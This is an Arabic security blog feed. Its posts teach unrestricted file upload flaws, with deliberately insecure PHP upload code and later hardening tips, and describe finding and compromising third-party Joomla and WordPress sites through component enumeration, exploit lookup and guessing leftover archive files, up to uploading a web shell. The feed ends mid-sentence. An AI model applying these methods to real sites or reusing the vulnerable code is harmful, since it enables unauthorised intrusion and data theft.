أمن الويب - Web Securityمدونة أمن الويب, خاصة بمجال امن المعلومات والاختراق والحماية وادوات الاختراق وشرح اساليب الهكرز وكيفية الحماية من الاختراق في كل المجالات و توفير دورات في كافة المجالاتnoreply@blogger.com (ElSyad)Fri, 8 Nov 2024 07:30:34 -0800Blogger http://www.blogger.com59125https://web0sec.blogspot.com/en-usnoمدونة أمن الويب, خاصة بمجال امن المعلومات والاختراق والحماية وادوات الاختراق وشرح اساليب الهكرز وكيفية الحماية من الاختراق في كل المجالات و توفير دورات في كافة المجالاتnoreply@blogger.comدورة حماية سكربت المنتديات فيبولتين vBulletin للاخ السويسريhttps://web0sec.blogspot.com/2020/05/full-course-for-securing-vbulletin-by-alswisry.htmlcoursescourses-secnoreply@blogger.com (ElSyad)Fri, 15 May 2020 02:52:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-5429645453935665387<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNK7GgUW2uT3R3yXWnsZr1O9tNKKY8B7vxQXVqx3Xn7qlzui-JtBRTAiuRosCNHPeA7nNc7e9MhX4q1QXYJLBXyq5TTVdvpPAfMSGzpec4MRHK-_TXNzViy5ULNADpvUDDuTFk1XuD6DOr/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="233" data-original-width="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNK7GgUW2uT3R3yXWnsZr1O9tNKKY8B7vxQXVqx3Xn7qlzui-JtBRTAiuRosCNHPeA7nNc7e9MhX4q1QXYJLBXyq5TTVdvpPAfMSGzpec4MRHK-_TXNzViy5ULNADpvUDDuTFk1XuD6DOr/s320/Unpatched-Critical-0-Day-RCE-Exploit-for-vBulletin-Forum-Disclosed-Publicly.jpg" width="320" /></a></div><div style="text-align: center;"><br /></div><div style="direction: rtl; text-align: right;">السلام عليكم</div><div style="direction: rtl; text-align: right;">ازاي الحال؟</div><div style="direction: rtl; text-align: right;">النهاردة حبيت اشارك معاكم دورة لحماية منتديات اللي بتشتغل علي تطبيق الويب vBulletin المعروف</div><div style="direction: rtl; text-align: right;">في الدورة دي هنتعلم ازاي نحمي منتدي يعمل علي vBulletin من الاختراق</div><div style="direction: rtl; text-align: right;"><br /></div><div style="direction: rtl; text-align: right;"><font color="#b51200"># في بولتين "vBulletin" ؟</font></div><div style="direction: rtl; text-align: right;"><div style="direction: rtl;">هو سكربت مبرمج بلغة PHP علي قواعد بيانات MySQL , السكربت بدأ في عام 1999 ويعمل حتي يومنا هذا وفي انتشار واسع وكبير جداً</div><div style="direction: rtl;">السكربت ضمن برامج المنتديات والتي تستخدم في شبكة الويب من اجل التواصل بين زوار الموقع, تسمح للاعضاء انشاء مواضيع والتعقيب عليها</div><div style="direction: rtl;"><br /></div><div style="direction: rtl;"><font color="#b51200"># عن الدورة ؟</font></div><div style="direction: rtl;">الدورة دي تم كتابتها وشرحها من خلال الاخ السويسري "Al-Swisry" وهي خاصة بشرح طرق واساليب حماية سكربت في بولتين</div><div style="direction: rtl;"><br /></div><div style="direction: rtl;"><font color="#b51200"># تحميل الدورة ؟</font></div><div style="direction: rtl;">تم رفع رابط الدورة كاملة علي موقع المديا فاير علي الرابط التالي</div><div style="direction: rtl;"><a href="http://www.mediafire.com/file/3fg2zbn1p57zn1p/" target="_blank">http://www.mediafire.com/file/3fg2zbn1p57zn1p/</a><br /></div><div style="direction: rtl;"><br /></div><div style="direction: rtl;">اتمني ليكم مشاهدة ممتعة واستفادة من الكورس واي استفسار احنا موجودين</div><div style="direction: rtl;">موفقين ~</div><div style="direction: rtl;">الصياد /.</div><div style="direction: rtl;"><br /></div><div style="direction: rtl;"><br /></div><div style="direction: rtl;"><br /></div></div>0دورة اسامة الزيرو ويب في تعلم لغة HTMLhttps://web0sec.blogspot.com/2020/05/learn-html-in-arabic-full-course.htmlcourses-webdevwebdevnoreply@blogger.com (ElSyad)Thu, 14 May 2020 15:39:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2786571588172329246<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1u-6VXPWdb5fQtxPDPAKJQ5SRAlWsRslUINuX2CIeQf83aHUy3zw_GYiChfvrZzdVxlQD9oRIuLkV-0tWufXRUojV55J6HtevV4mXR1iD0KxcppfbNr3FrR5aIEtmUrNY55P1cgR6t207/" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1200" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1u-6VXPWdb5fQtxPDPAKJQ5SRAlWsRslUINuX2CIeQf83aHUy3zw_GYiChfvrZzdVxlQD9oRIuLkV-0tWufXRUojV55J6HtevV4mXR1iD0KxcppfbNr3FrR5aIEtmUrNY55P1cgR6t207/s320/1200px-HTML5_logo_and_wordmark.svg.png" /></a></div><div style="text-align: center;"><br /></div><div style="direction: rtl; text-align: right;">السلام عليكم</div><div style="direction: rtl; text-align: right;">ازاي الحال؟</div><div style="direction: rtl; text-align: right;">النهاردة هشارك معاكم كورس لغة ترميز النص التشعبي HTML واللي بترمز لـ HyperText Markup Language</div><div style="direction: rtl; text-align: right;">لغة ترميز النص التشعبي هي لغة ترميز تستخدم في إنشاء وتصميم صفحات ومواقع الويب وهي من اقدم اللغات والاكثر استخدام في تصميم صفحات الويب</div><div style="direction: rtl; text-align: right;">في الكورس ده هتعرف اساسيات اللغة وازاي تبني صفحة ويب متكاملة وبطريقة احترافية</div><div style="direction: rtl; text-align: right;">الكورس معلوماته ممتازة جداً ومن شخص محترف وخبير "أسامة الزيرو"</div><div style="direction: rtl; text-align: right;">لمشاهدة الكورس علي اليوتيوب</div><div style="direction: rtl; text-align: right;"><br /></div><div style="direction: rtl; text-align: right;"><a href="https://www.youtube.com/playlist?list=PLDoPjvoNmBAwClZ1PDcjWilxp9YERUbNt" target="_blank">https://www.youtube.com/playlist?list=PLDoPjvoNmBAwClZ1PDcjWilxp9YERUbNt</a><br /></div><div style="direction: rtl; text-align: right;"><br /></div><div style="direction: rtl; text-align: right;">الكورس هيفيدك جداً في تعلم لغة HTML واتقانها والعمل بها بطريقة احترافية</div><div style="direction: rtl; text-align: right;">موفقين ~</div><div style="direction: rtl; text-align: right;">الصياد /.</div><div style="direction: rtl; text-align: right;"><br /></div><div style="direction: rtl; text-align: right;"><br /></div><div style="direction: rtl; text-align: right;"><br /></div>0شرح و تعريف ثغرات رفع الملفات وكيفية اكتشافها واستغلالها وحمايتها Unrestricted File Upload Vulnerabilityhttps://web0sec.blogspot.com/2017/12/explanation-and-definition-of-unrestricted-file-upload-vulnerability-and-how-to-detecting-exploiting-and-protecting-it.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Wed, 6 Dec 2017 13:13:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-3606366868853331875<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDpPhjte2Emr4eQ8ggGmzwGH2PyEhGZsZY_Al812pUH0UsX_EfiWMS6JakBsvGd-jdr1AJDpJwhrSYhFdTOw-PyGJH7-DTAhgdS6uIt75QkLX03mpxiMtRAnwiQaSmE5KKQ0ey7q5Ki8de/s1600/Untitled-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,تعريف,definition,ثغرات,exploits,اخطاء,vulnerabilities,رفع,upload,ملفات,files,شل,shell,استغلال,exploiting,حماية,protection,اكتشاف,detection,غير,مقيدة,unrestricted" border="0" data-original-height="450" data-original-width="800" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDpPhjte2Emr4eQ8ggGmzwGH2PyEhGZsZY_Al812pUH0UsX_EfiWMS6JakBsvGd-jdr1AJDpJwhrSYhFdTOw-PyGJH7-DTAhgdS6uIt75QkLX03mpxiMtRAnwiQaSmE5KKQ0ey7q5Ki8de/s320/Untitled-1.png" title="شرح explain تعريف definition ثغرات exploits اخطاء vulnerabilities رفع upload ملفات files شل shell استغلال exploiting حماية protection اكتشاف detection غير مقيدة unrestricted" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <b>السلام عليكم</b></div> <div style="text-align: right;"> <b>ازاي الحال ؟</b></div> <div style="text-align: right;"> <b>النهاردة هيكون شرحنا طويل حبتين ي رجالة بس مفيد ان شاء الله للي حابين يعرفوا عن ثغرات Unrestricted File Upload الخاصة برفع الملفات</b></div> <div style="text-align: right;"> <b>الشرح ده انا هقسمه ع 3 مراحل ي رجالة والشرح مصور وفي فيديو توضيحي برضو :)</b></div> <div style="text-align: right;"> <b>اول جزء هنتكلم فيه عن ازاي نقدر نكتشف الثغرات اللي من نوع Unrestricted File Upload</b></div> <div style="text-align: right;"> <b>تاني جزء هنتكلم فيه عن ازاي نستغلها وتالت جزء هنتكلم فيه عن ازاي نحمي الموقع او Application بتاعنا منها</b></div> <div style="text-align: right;"> <b>اولا ي رجالة الملفات المرفوعة دي بتمثل مخاطرة كبيرة علي تطبيقات الويب, لان اول خطوة بيفكر فيها المهاجم هي الحصول علي خطأ او ثغرة</b></div> <div style="text-align: right;"> <b>بعد كده بيحتاج بس يستثمر/يستغل الثغرة دي من خلال رفع ملف Web Shell بينجز العملية دي للمهاجم</b></div> <div style="text-align: right;"> <b>ده بيسمح بمخاطر كبيرة وعواقب كبيرة علي Application زي مثلا الاستيلاء الكامل علي نظام التشغيل, تحميل زائد لملفات النظام او قواعد البيانات او حتي اختراقه</b></div> <div style="text-align: right;"> <b>التهديدات اللي بتجيلك من الثغرة دي رجالة بتحصل بسبب حاجتين</b></div> <div style="text-align: right;"> <b>اما من الملف نفسه .. يعني محتوي الملف يكون فيه web-shell او حتي file uploader او حتي backdoor او اي malicious code</b></div> <div style="text-align: right;"> <b>واما من مكان تخزين الملفات علي السيرفر .. ودي برضو بتسبب مشاكل كتيرة اوي في الابليكشن</b></div> <div style="text-align: right;"> <b>في عندين نوعين للثغرة دي رجالة وهما</b></div> <div style="text-align: right;"> <b>النوع الاول بنسميه local يعني الثغرة تسمح لك برفع ملفات من داخل السيرفر فقط</b></div> <div style="text-align: right;"> <b>النوع التاني بنسميه remote يعني الثغرة تسمح لك برفع ملفات من خارج السيرفر وده اللي منتشر واللي اخطر من النوع الاول</b></div> <div style="text-align: right;"> <b>طيب جميل اوي دلوقتي نيجي بقي للشرح بتاعنا ي رجالة</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red; font-size: large;">أول جزء: ازاي نكتشف ثغرات Unrestricted File Upload</span></b></div> <div style="text-align: right;"> <b>هتحتاج لمحرر نصوص زي مثلا لمستخدمي انظمة windows</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">notepad, notepad++, sublime text, etc..</span></b></blockquote> </div> <div style="text-align: right;"> <b>لمستخدمي انظمة linux</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">sublime text, geany, blue fish, etc...</span></b></blockquote> </div> <div style="text-align: right;"> <b>طيب جميل اوي .. الدوال المسببة في الثغرات دي رجالة دالتين</b></div> <div style="text-align: right;"> <b><span style="color: red;"><a href="http://php.net/manual/en/function.move-uploaded-file.php" rel="nofollow" target="_blank">move_uploaded_file</a></span></b></div> <div style="text-align: right;"> <b><a href="http://php.net/manual/en/function.copy.php" rel="nofollow" target="_blank">copy</a></b></div> <div style="text-align: right;"> <b>ممكن تقرأ عنهم في موقع <span style="color: red;"><a href="http://php.net/" rel="nofollow" target="_blank">php.net</a></span></b></div> <div style="text-align: right;"> <b>نشوف كود بسيط كده بدون اي حماية .. لان الحماية هتكون اخر جزء في الدرس ده</b></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b>&lt;?php</b><b>// Coded by ElSyad</b><b>echo "&lt;form action='".$_SERVER['PHP_SELF']."' method='POST' enctype='multipart/form-data'&gt;</b><b>&lt;input type='file' name='files' /&gt;</b><b>&lt;input type='submit' name='up' value='Upload File' /&gt;</b><b>&lt;/form&gt;";</b><b>$filename = $_FILES['files']['name'];</b><b>$filetmp = $_FILES['files']['tmp_name'];</b><b>$foler = "";</b><b>if(isset($_POST['up']) and $_POST['up'] == 'Upload File'){</b><b><span style="white-space: pre;"> </span>move_uploaded_file($filetmp,$folder.$filename);</b><b>&nbsp; &nbsp; &nbsp;echo "Uploaded!!";</b><b><span style="white-space: pre;"> </span>}</b><b>?&gt;</b></blockquote> </div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red; font-size: large;">تاني جزء: ازاي نستثمر او نستغل ثغرات Unrestricted File Upload</span></b></div> <div style="text-align: right;"> <b>استثمار الثغرة بيختلف طبعا من سكربت للتاني .. يعني ممكن يكون المبرمج عامل حماية التحقق من اسم الملف .. انت تتخطاها وهكذا</b></div> <div style="text-align: right;"> <b>وده شرح فيديو بيوضح طريقة استغلال النوع ده في رفع ملفات .. انا عملت شرحين مش شرح عشان خاطركوا :)</b></div> <div style="text-align: right;"> <b><span style="color: red;">شرح استغلال ثغرات Unrestricted File Upload الجزء الاول علي الرابط التالي</span></b></div> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/c1yn5tjc_0Q/0.jpg" src="https://www.youtube.com/embed/c1yn5tjc_0Q?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red;">شرح استغلال ثغرات Unrestricted File Upload الجزء الثاني علي الرابط التالي</span></b></div> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/FKE8Jd6L71A/0.jpg" src="https://www.youtube.com/embed/FKE8Jd6L71A?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /></div> <div style="text-align: right;"> <b><br /></b></div> <div style="text-align: right;"> <b><span style="color: red; font-size: large;">تالت جزء: ازاي نحمي السكربت من ثغرات Unrestricted File Upload</span></b></div> <div style="text-align: right;"> <b>بالنسبة لطرق الحماية يا رجالة في اكتر من طريقة نحمي بيها نفسنا من الوقوع في اخطاء رفع الملفات</b></div> <div style="text-align: right;"> <b>انا هحط بعض الطرق وانت ممكن تفكر في الباقي براحتك .. او تبحث علي الانترنت هتلاقي اكتر</b></div> <div style="text-align: right;"> <b>- <span style="color: red;">التحقق من صيغة الملفات</span> اللي بيتم رفعها ودي ممكن نستخدم فيها الدالة</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">in_array(), array_search(), etc..</span></b></blockquote> </div> <div style="text-align: right;"> <b>- <span style="color: red;">التحقق من محتوي الملف</span> ودي ممكن نستخدم الدالة</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">getimagesize();</span></b></blockquote> </div> <div style="text-align: right;"> <b>- <span style="color: red;">التحقق من امتداد الملف</span> وده ممكن من خلال الدالة</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">preg_match();</span></b></blockquote> </div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">explode();</span></b></blockquote> </div> <div style="text-align: right;"> <b>- <span style="color: red;">رفض تشغيل الملفات التنفيذية</span> كلها وده من خلال rules نضعها داخل ملف htaccess</b></div> <div style="text-align: right;"> <blockquote class="tr_bq"> <b><span style="color: red;">Options -ExecCGI</span></b><b><span style="color: red;">AddHandler cgi-script .php .phtml .pl .py .ru .asp .aspx .cgi .sh .htaccess</span></b></blockquote> </div> <div style="text-align: right;"> <b>في طرق كتيرة اوي ودوال اكتر عشان تمنع حدوث ثغرات file upload يا رجالة</b></div> <div style="text-align: right;"> <b>لحد هنا خلصنا الدرس بتاع النهاردة</b></div> <div style="text-align: right;"> <b>واي استفسار احنا جاهزين ان شاء الله</b></div> <div style="text-align: right;"> <b>موفقين ~</b></div> <div style="text-align: right;"> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 0شرح استهداف المواقع و السيرفرات من خلال فحص سكربتات جوملا و ووردبريس حتي رفع الشلhttps://web0sec.blogspot.com/2017/12/targeting-sites-and-servers-via-checking-joomla-and-wordpress-scripts-from-exploits-till-upload-shell.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sun, 3 Dec 2017 03:01:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-7777908724836903312<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRh2S8-uD3iwC1Dd6fJNZbPh3-ucylT4CeYJyX9bf9gbakiI8PaXfetS_Z9TrOrefAD2UnbIZHOukE-K4qgCHOyWH5UUBKULYkbxg10Pjd2n8RDocFXy1E79q5RLv04nkAGRJaCXH3TCEU/s1600/target_server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><b><img alt="شرح,explain,استهداف,targeting,المواقع,sites,السيرفرات,servers,عن,طريق,via,فحص,check,ايجاد,find,ثغرات,exploits,سكربت,script,اضافات,components,بلجنز,plugins,جوملا,joomla,ووردبريس,wordpress,حتي,till,رفع,upload,شل,shell" border="0" data-original-height="450" data-original-width="840" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRh2S8-uD3iwC1Dd6fJNZbPh3-ucylT4CeYJyX9bf9gbakiI8PaXfetS_Z9TrOrefAD2UnbIZHOukE-K4qgCHOyWH5UUBKULYkbxg10Pjd2n8RDocFXy1E79q5RLv04nkAGRJaCXH3TCEU/s400/target_server.png" title="شرح explain استهداف targeting المواقع sites السيرفرات servers عن طريق via فحص check ايجاد find ثغرات exploits سكربت script اضافات components بلجنز plugins جوملا joomla ووردبريس wordpress حتي till رفع upload شل shell" width="400" /></b></a></div> <b><br /></b></div> <div style="text-align: right;"> <b>السلام عليكم</b><br /> <b>ازاي الحال ؟</b><br /> <b>النهاردة هنشرح ازاي نستهدف المواقع/السيرفرات من خلال فحص السكربتات المركبة واستخراج ثغراتها واستغلالها حتي رفع الشل</b><br /> <b>الطريقة دي مفيدة جدا ومن افضل طرق الاستهداف .. شرحنا هيكون علي سكربت Joomla</b><br /> <b>طيب جميل نبتدي بتعريف بعض الاساسيات</b><br /> <b><br /></b> <b><span style="color: red;">ثغرة "exploit" ؟</span></b><br /> <b>هي جزء من البرمجيات, قطعة من البيانات او سلسلة من الاوامر التي تاخذ ميزة/افادة من خطأ برمجي او اصابة برمجية تتسبب في إحداث اداء غير متوقع او غير مرغوب به للبرمجيات او حتي للهاردوير</b><br /> <b>مثل تحقيق السيطرة علي جهاز الكمبيوتر , السماح بتصعيد الصلاحيات, او حتي هجمات حرمان الخدمة</b><br /> <b>هي ايضا عبارة عن خطأ برمجي في تطبيقات الويب عند كتابة المبرمج للسكربت وهنا قد تحدث ثغرات كثيرة ولها انواع ولها وظائف معينة لكل ثغرة سنقوم بشرحها بإذن الله</b><br /> <b><span style="color: red;"><br /></span></b> <b><span style="color: red;">ويب شل "web shell" ؟</span></b><br /> <b>هو برنامج خبيث يتم استخدامه من المهاجم (الهاكر) بقصد الحصول علي اتصال مستمر علي تطبيق ويب مخترق, الويب شل نفسه لا يمكنه الهجوم او استغلال ثغرة من علي بعد لذلك فهو الخطوه الثانية دائما للهاكر</b><br /> <b>الوظائف الشائعة للويب شل هي تنفيذ اوامر , سرد قواعد البيانات, تنفيذ اكواد لـ اللغة المبرمج بها الويب شل, ادارة الملفات والمجلدات وله استخدامات اخري كثيرة</b><br /> <b>في اغلب الحالات يكون الويب شل مبرمج بلغة php لانها اللغة الاكثر استخداما في تطبيقات الويب ولكن يمكن برمجته ايضا بلغات اخري مثل python او perl وغيرهم</b><br /> <b><br /></b> <b><span style="color: red;">ويب سيرفر "web server" ؟</span></b><br /> <b>هو نظام حاسوب يعالج الطلبات من خلال http البروتوكول الاساسي لتوزيع المعلومات علي شبكة الانترنت, الوظيفة الاساسية للويب سيرفر هي تخزين, معالجة, وتوصيل صفحات الويب الي العملاء</b><br /> <b>هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</b><br /> <b><br /></b> <b><span style="color: red;">سكربت "script" ؟</span></b><br /> <b>في لغات البرمجة, السكربت هو برنامج او سلسلة تعليمات مُفسرة او يتم حملها من برنامج اخر بدلا من معالج الحاسوب كـ برنامج مترجم</b><br /> <b>بعض اللغات صممت خصيصا كلغات برمجة script language والاكثر انتشارا مثل perl, javascript, php, python وغيرهم</b><br /> <b>وهناك انواع من لغات البرمجة مثلا لغات php, perl, python هي لغات يتم معالجتها من خلال الويب سيرفر للعمل علي مواقع الويب وهي ما تسمي بلغات من جانب السيرفر server side language</b><br /> <b>ولغات مثل javascript يتم معالجتها من خلال متصفح الويب وهي ما تسمي بـلغات من جانب العميل client side language</b><br /> <b><br /></b> <b><span style="color: red;">جوملا "Joomla" ؟</span></b><br /> <b>هو سكربت ادارة محتوي او نظام ادارة محتوي CMS مجاني ومفتوح المصدر لنشر محتوي الانترنت, مكتوب بلغة PHP ويدعم تقنية OOP ويدعم أشهر قواعد البيانات MySQL, MS SQL, PostgreSQL</b><br /> <b>يتضمن العديد من المميزات والاضافات لاضافة تحسينات علي الموقع وسهلة استخدامه, وهو ثاني سكربت ادارة محتوي اكثر استخداماً بعد سكربت Wordpress وفي الاغلب يكون استخدامه كـ مجلة</b><br /> <b><br /></b> <b>جميل اوي لحد كده نرجع لشرحنا يا رجالة</b><br /> <b>اللي احنا هنعمله في الشرح ده هو اننا عندنا هدف علي سيرفر وهو موقع مركب سكربت Joomla</b><br /> <b>هنعمل عملية <span style="color: red;">استخراج/سرد</span> للاضافات المُركبة Components علي السكربت ونفصحها</b><br /> <b>طيب ازاي هننفذ عملية الفحص دي ؟</b><br /> <b>في عندنا طريقتين يا رجالة وهما:</b><br /> <b><span style="color: red;">الطريقة اليدوية</span> .. ودي اننا نستخرج ايبي السيرفر ونروح علي موقع <a href="https://www.bing.com/" rel="nofollow" target="_blank">Bing.com</a> ونبحث عن العبارة دي</b><br /> <blockquote class="tr_bq"> <b><span style="color: red;">ip:127.0.0.1 ?option</span></b></blockquote> <b>العبارة دي هتستخرج لنا كل الاضافات المركبة علي المواقع اللي مركبة سكربت Joomla</b><br /> <b><span style="color: red;">طريقة تانية</span> وسهلة برضو .. من خلال فتح source لصفحة index للموقع ونبحث عن <span style="color: red;">components </span>هنلاقي برضو الاضافات</b><br /> <b><br /></b> <b><span style="color: red;">الطريقة الاتوماتيكية</span> .. ودي اننا نبحث عن الاضافات بس من خلال اداوت بتسهل علينا العملية دي زي مثلا</b><br /> <blockquote class="tr_bq"> <b><span style="color: red;">JoomScan, Joomla Scanner Python, wPJosDetect 3, etc..</span></b></blockquote> <b>ممكن كمان نخلي شغلنا اونلاين من خلال الموقع ده</b><br /> <a href="https://hackertarget.com/joomla-security-scan/" rel="nofollow" target="_blank">https://hackertarget.com/joomla-security-scan/</a><br /> <br /> <b>طيب جميل اوي دلوقتي احنا استخرجنا Components ايه اللي هنعمله بقي او هنستفيد بيها بايه ؟</b><br /> <b>تمام في اكتر من حاجة ممكن نستفيد بيها او طرق ازاي نفحص الاضافات دي</b><br /> <b><span style="color: red;">الطريقة الاولي</span> من خلال تحميل الاضافة علي نظامك وفحصها اما <span style="color: red;">يدوي </span>او من خلال مشروع <span style="color: red;">RIPS</span></b><br /> <b><span style="color: red;">الطريقة التانية</span> اننا نبحث عن ثغرات الاضافة من خلال محرك البحث <span style="color: red;">Google </span>من خلال مثلا العبارة دي</b><br /> <blockquote class="tr_bq"> <b><span style="color: red;">com_media exploit, com_media ثغرة</span></b></blockquote> <b><span style="color: red;">الطريقة التالتة</span> اننا نبحث في مواقع نشر الثغرات زي</b><br /> <blockquote class="tr_bq"> <b><span style="color: red;">securityfocus, exploit-db, 0day.today, etc...</span></b></blockquote> <b>عن اي ثغرات للاضافة اللي استخرجناها</b><br /> <b><span style="color: red;">الطريقة الرابعة </span>من خلال اداة <span style="color: red;">JoomScan </span>اللي اتكلمنا عليها .. لان الاداة برضو بتبحث عن الثغرات اللي موجودة في الاضافات</b><br /> <b>وغيرها من الطرق يا رجالة .. كل واحد وله طرقه وتفكيره</b><br /> <b>طيب جميل اوي نيجي بقي لاهم حاجة في الدرس وهو الفيديو التوضيحي للعملية دي</b><br /> <b>الفيديو علي الرابط التالي</b><br /> <div class="separator" style="clear: both; text-align: center;"> <br /><iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/bAuXlUHQ1wQ/0.jpg" src="https://www.youtube.com/embed/bAuXlUHQ1wQ?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /> <b><br /></b> <b>اي استفسار يا رجالة احنا في الخدمة</b><br /> <b>موفقين ~</b><br /> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 0شرح استهداف المواقع والسيرفرات من خلال البحث عن الملفات المضغوطة حتي رفع الشلhttps://web0sec.blogspot.com/2017/12/targeting-sites-and-servers-via-finding-compressed-script-files-till-upload-shell.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sat, 2 Dec 2017 11:06:00 -0800tag:blogger.com,1999:blog-8590898748877079327.post-8445940026868764906<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8p3vAL6jGT2aXgWW5OdrRG4Qd3NjtXtDMiNmviNK_majWKxqhRWM6im0DkVAfCfw-lJmsrPfKN9M8rkk7R4ER5anNnRPmmthfWJNa1OzW7gx4oh8R9_LkjegOuYKS-S7vpL2xpP8bt7oA/s1600/Untitled-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><b><img alt="شرح,explain,استهداف,targeting,المواقع,sites,السيرفرات,servers,من,خلال,via,الفحص,searching,البحث,finding,الملفات,files,المضغوطة,compressed,حتي,till,رفع,upload,الشل,shell" border="0" data-original-height="450" data-original-width="840" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8p3vAL6jGT2aXgWW5OdrRG4Qd3NjtXtDMiNmviNK_majWKxqhRWM6im0DkVAfCfw-lJmsrPfKN9M8rkk7R4ER5anNnRPmmthfWJNa1OzW7gx4oh8R9_LkjegOuYKS-S7vpL2xpP8bt7oA/s400/Untitled-1.png" title="شرح explain استهداف targeting المواقع sites السيرفرات servers من خلال via الفحص searching البحث finding الملفات files المضغوطة compressed حتي till رفع upload الشل shell" width="400" /></b></a></div> <div class="separator" style="clear: both; text-align: center;"> </div> <b><br /></b></div> <div style="text-align: right;"> <b>السلام عليكم</b><br /> <b>ازاي الحال ؟</b><br /> <b>النهاردة هنتكلم عن طريقة من طرق استهداف المواقع/السيرفرات واللي بتنجح في كتير اوي من الاوقات يا رجالة</b><br /> <b>الطريقة اللي هنتكلم عليها هي ازاي نستهدف المواقع/السيرفرات من خلال البحث عن الملفات المضغوطة علي الموقع/السيرفر</b><br /> <b>في كتير من الاوقات مدير الموقع بيطلب من الرووت او الموزع انه هو اللي يثبت السكربت لغرض ما</b><br /> <b>فا بطبيعة الحال بيرفع السكربت او Web App اللي عاوز يستخدمه علي الموقع ويبدأ يعمله Install علي موقعه</b><br /> <b>سواء بقي كان السكربت ده مثلا</b><br /> <b><span style="color: red;">vBulletin, Wordpress, Joomla, Drupal, SMF, etc...</span></b><br /> <b>بعد عملية التثبيت ما بتخلص في كتير من مديري المواقع بيسيبوا ملف السكربت المضغوط ومش بيحذفوه</b><br /> <b>كتير من مديري المواقع بيخلوا الملف موجود او انهم يغيروا في اسم الملف وغيره من الامور دي</b><br /> <b>في نهاية الحال الطريقة بتعتمد بشكل كبير علي غباء مدير الموقع او حتي نسيانه او حتي تركه للملف لغرض ما في باله</b><br /> <b>احنا هنقوم بعملية بحث للملفات المضغوطة علي موقع ما علي السيرفر ونقوم بتحميل/تنزيل ملف السكربت ونبحث عن بيانات قاعدة البيانات</b><br /> <b>ومن خلال بيانات قاعدة البيانات هنحاول نستفيد منها وهذكر ليكم بعض الطرق اللي هتفيدنا البيانات بيها</b><br /> <b>طيب هنبتدي ازاي او هنبحث ازاي عن الملفات دي</b><br /> <b>في طريقتين وهما اما من خلال البحث اليدوي واللي هي تجربة بعض اسماء السكربتات او بعض الملفات اللي من الممكن مديري المواقع يستخدموها</b><br /> <b>زي مثلا</b><br /> <b><span style="color: red;">wordpress.zip, word.zip, wp.zip, vb.zip, forum.zip, www.zip, public_html.zip, joomla.zip, smf.zip, etc...</span></b><br /> <b>وهكذا يا رجالة لحد ما نلاقي الملف .. تمام ؟</b><br /> <b>طيب الطريقة التانية وهي البحث الاتوماتيكي واللي هي استخدام بعض الادوات او السكربتات اللي بتخمن علي الاسماء دي بنفسها</b><br /> <b>زي مثلا</b><br /> <b><span style="color: red;">DirBuster, Havij, Acunetix WVS, Linkrot, etc...</span></b><br /> <b>ممكن كمان نستخدم موقع اونلاين يوفر لنا الخدمة دي زي مثلا</b><br /> <a href="http://www.file2hd.com/" rel="nofollow" target="_blank">http://www.file2hd.com/</a><br /> <b><br /></b> <b>دلوقتي بعد الحصول علي الملف 